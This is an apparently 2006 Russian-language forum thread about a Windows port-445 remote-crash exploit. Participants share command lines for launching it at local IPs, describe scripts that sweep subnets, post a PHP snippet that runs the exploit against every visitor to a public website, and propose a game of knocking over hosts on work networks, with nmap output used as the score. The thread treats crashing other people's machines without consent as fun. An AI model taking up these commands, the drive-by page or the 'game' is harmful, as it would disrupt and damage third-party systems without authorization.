наткнулся случайно на свежую уязвимость в Виндах..

Ну второй раз я предположим случайно :) у меня в консоли было

sleep 50m;./sploit 192.168.0.112

И когда я передумал делать над ним экзекуцию (а причина была очень веская, а не просто желание проверить эксплоит) я стормозил и нажал ctrl+c...

Кстати, как правильно прибивать такие задачи?

>кстати, такая хрень (атака в ответ на попытку подключения) - повод для обращения в суд? он ведь потом будет говорить, "ой, я адресом ошибся..."
Надо на всех твоих доступных сервисах (telnet/ssh/ftp/http/sendmail) и на системном блоке :-) навесить баннер "При попытке несанкционированного подключения возможны перебои в предоставлении сервиса".

> И как же он простите "открыт", если "connect error"? :-)

а я знаю?
Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
  TCP    127.0.0.1:1201         127.0.0.1:1202         ESTABLISHED
  TCP    127.0.0.1:1202         127.0.0.1:1201         ESTABLISHED
  TCP    192.168.3.15:139       0.0.0.0:0              LISTENING

ну и так далее

?

> TCP 0.0.0.0:445 0.0.0.0:0 LISTENING

может это такая индейская хитрость венды? только непонятно кого она обманывает

Мда, приятно в чистой сетке сидеть.....

> Кстати, как правильно прибивать такие задачи?

Прибивать шелл, в которой оно болтается. Желательно по SIGKILL

>Мда, приятно в чистой сетке сидеть.....

Мля, какие мы все таки злые....Или боги злыми быть не могут?

> Мда, приятно в чистой сетке сидеть.....

В смысле ты уже положил все винды в радиусе досягаемости? :-)

Жесть, нельзя-же так =))))))

Скрипт в shelle по 3 подсетям, один пинг - если есть - "рука дружбы" - 97% хитов....

Таак. Сегодня, придя домой, первым делом перед загрузкой виндов выну сетевой кабель из компа. Я не помню, открыт у меня злополучный порт или нет. Хотя службу "server" я кажется убивал.

Нельзя никак из линукса отконфигурить винду на соседнем разделе?

Жёстко, нельзя же так...

Интересно, сколько времени пройдет до патча от MS?

Пока десяток "важных" серваков не положат, вряд ли дойдет. И получат его только лицензионные юзеры, остальные вырабатывают терпимость к синему цвету.

>Интересно, сколько времени пройдет до патча от MS?
По мнению знающих виндовых админов где-то 9-го числа.

> По мнению знающих виндовых админов где-то 9-го числа.

Оооо... Шибздец. Неделя с эксплоитом без патча. Бесподобно.

Мне тогда искренне жаль виндоадминов. Мы, линуксоиды, с системой имеем "секс на грани эротики", а бедняг-виндузятников имеют "на грани жесткого порно"

>Мне тогда искренне жаль виндоадминов. Мы, линуксоиды, с системой имеем "секс на грани эротики", а бедняг-виндузятников имеют "на грани жесткого порно"
Они это представят как:
1. Виндовс - коммерческая защищенная система, а Linux - хакерская террористическая ОС.
Пингвин проходил, хвостиком махнул, винда и упала :-)

> sleep 50m;./sploit 192.168.0.112

> Кстати, как правильно прибивать такие задачи?

Их надо правильно запускать

sleep 50m && ./sploit 192.168.0.112

и по ctrl-c ничего страшного не произойдет.

> Ткни палцэм, не узрел.

http://www.linux.org.ru/jump-message.jsp?msgid=1517803#1518371

Только там под какой-то хитрый nmap было рассчитано, я скрипт под себя менял чутка.

Народ, просьба ткнуться в 62.148.150.241

Товарищ утверждает, что ему пох.

http://preved.elfov.net/

на заходящего туда натравливается вышеозначенный сплойт. Использовать только в целях завалния виндов! :)

Ткнул

А я уже visual studio на работе ставлю, чтобы скомпилять...

А теперь - перловый скрипт для спама на форумах :)

Не, это уже не ко мне :)

У товарища по его словам каспер антихакер. Говорит, даже не пикнул.

В смысле, синий экран словил или нет?

что-то этот товарищ нихрена не пингуется ...

2000я с sp3 стабильно падает, а после перезагрузки жалуется на улетевший msgina.dll. После пары перезагрузок восстанавливается, но если уронить еще раз - опять та же dll улетает :)

Я вот не подумал посмотреть - пинговался ли он до... :)

Ничего он не словил. Сидит в аське довольный жизнью и рассказывает мне про прелести продуктов Касперского.

>Сидит в аське довольный жизнью и рассказывает мне про прелести продуктов Касперского.
Бот?

Ну, если б мог словить, то гораздо раньше этого привета он бы словил msblast и прочая. Я ж писал - нужно что б была включена служба доступа к файлам и принтерам и она же должны быть разрешена на фаерволе. Такие тепличные условия в инете не выживают, в локалках разве что :)

P.S. Одного умника в локалке, ксати, повалил вместе с касперским. Так что не знаю... Скорее всего, его провайдер режет 445-й порт.

так оно не по TCP стучится, по NetBIOS-у?

по netbios-over-tcp :)

обычный netbios не юзается уже тыщу лет.

как раз именно по TCP

и что ? вроде ничего не происходит..

Предлагаю сыграть в игру: Сканим nmap'ом рабочие хосты, потом запускаем по ним эксплоит, потом сканим еще раз и постим число очков(т.е. заваленых хостов) сюда. Победителю, сатус - почетный истребитель вендов

ну слава богу. netbios-то перекрыт везде... Нет, всё равно я не буду это в домашней локалке запускать - придёт админ и набьёт мне морду. Обжимкой для кабеля.

nmap -sP 192.168.0.0/16 |wc -l

371

даже жалко убогих стало :))

> и что ? вроде ничего не происходит..

Да?.. Хм... Мне попробовать негде - везде серые IP.

Код там такой:

<?php $addr = $_SERVER['REMOTE_ADDR']; echo `/usr/local/bin/preved $addr`;

?> <h1>Если вы видите эту надпись, значит ваш контупер защищен от этой уязвимости. Поздравляю!</h1>

> Предлагаю сыграть в игру: Сканим nmap'ом рабочие хосты, потом запускаем по ним эксплоит, 
>потом сканим еще раз и постим число очков(т.е. заваленых хостов) 
>сюда. Победителю, сатус - почетный истребитель вендов


[elf@elf (~)]$ cat ips5

Starting Nmap 4.01 ( http://www.insecure.org/nmap/ ) at 2006-08-02 20:44 EEST
Host 192.168.50.4 appears to be up.
Host 192.168.50.6 appears to be up.
Host 192.168.50.9 appears to be up.
Host 192.168.50.10 appears to be up.
Host 192.168.50.11 appears to be up.
Host 192.168.50.15 appears to be up.
Nmap finished: 256 IP addresses (6 hosts up) scanned in 8.945 seconds
[elf@elf (~)]$ cat ips52 

Starting Nmap 4.01 ( http://www.insecure.org/nmap/ ) at 2006-08-02 20:45 EEST
Host 192.168.50.1 appears to be up.
Host 192.168.50.11 appears to be up.
Host 192.168.50.15 appears to be up.
Nmap finished: 256 IP addresses (3 hosts up) scanned in 2.262 seconds


Т.е. настрелял 4 хоста или 66% сети на тот момент (ночь была,людёв почти не было). 
Сколько мне очков причитается?

хм.. вроде должно работать )), судя по коду...но вместо этого просто идет долгая загруза страницы, ничего не отображается ..

>http://preved.elfov.net/

Не сработало, правда у меня firewall стоит и венда, ХР, в сетке эксплоит работал, мою венду тоже заваливало только так ;)

Експлоит бился головой о стену, пуская сопли, слезы и кровь. И только остеохондроз мешал ему разглядеть скромную надпись "Linux" наверху стены...

Хм.. Возможно, у провайдера твоего 445-й порт забит? Я попробовал, мой хостер его точно не блокирует...

Последний recv вообще не нужен.

у моего провайдера ? )))
я и есть провайдер ))